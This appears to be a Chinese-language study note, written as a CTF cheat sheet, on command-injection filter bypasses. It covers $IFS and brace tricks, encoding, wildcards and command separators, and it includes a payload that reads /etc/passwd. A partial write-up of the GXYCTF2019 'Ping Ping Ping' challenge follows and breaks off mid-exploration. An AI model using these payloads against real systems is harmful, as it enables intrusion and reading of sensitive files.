命令注入小总结

命令注入知识点总结

过滤空格

1、%20(space)、%09(tab)、$IFS$9、 IFS、IFS
2、使用<或者<>来绕过空格 cat<a.txt
3、花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
4、$IFS 空格绕过 cat$IFSa.txt
5、变量控制 X=$'cat\x09./flag.php

过滤关键字

1、使用空变量 使用$*和$@，$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下，上面的特殊变量都是为空的 ca${21}t a.txt
2、反斜杠 ca\t a.txt
3、变量替换 a=ca;b=t;c=a.txt;a aab $c
4、引号 c'a't flag.php
5、编码绕过
    Base64 编码绕过：
    root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
    root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
    十六进制编码绕过：
    root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
    root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
6、通配符 ？*
    […]：匹配范围中任何一个字符 cat fl[abc]g.php
    [a-z]：匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
    {a,b}：对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
例：command1 & command2    先执行command2后执行command1
2.&&
只有在 && 左边的命令返回真（命令返回值 $? == 0），&& 右边的命令才 会被执行。
例：command1 && command2   先执行command1后执行command2
3.|
| 表示管道，上一条命令的输出，作为下一条命令的参数
例：command1 | command2     只执行command2
4.||
只有在 || 左边的命令返回假（命令返回值 $? == 1），|| 右边的命令才 会被执行。
例：7 || ls /
5.；
多行语句用换行区分代码快，单行语句一般要用到分号来区分代码块
例：ping 127.0.0.1;ls /

真题Writeup

[GXYCTF2019]Ping Ping Ping

进入题目稍微测试一下

ip=1 & ls
返回 fxck your space! # 过滤了空格

ip=1;ls
返回 # 看来分号没有被过滤
PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

ip=1;cat<flag.php
返回 fxck your symbol! # 过滤了< 字符

ip=1;cat/**/flag.php
返回 fxck your symbol! # 过滤了/ 和 *字符

ip=1;cat$IFSflag.php
返回 fxck your flag! # 过滤了 'flag' 但是$IFS没被过滤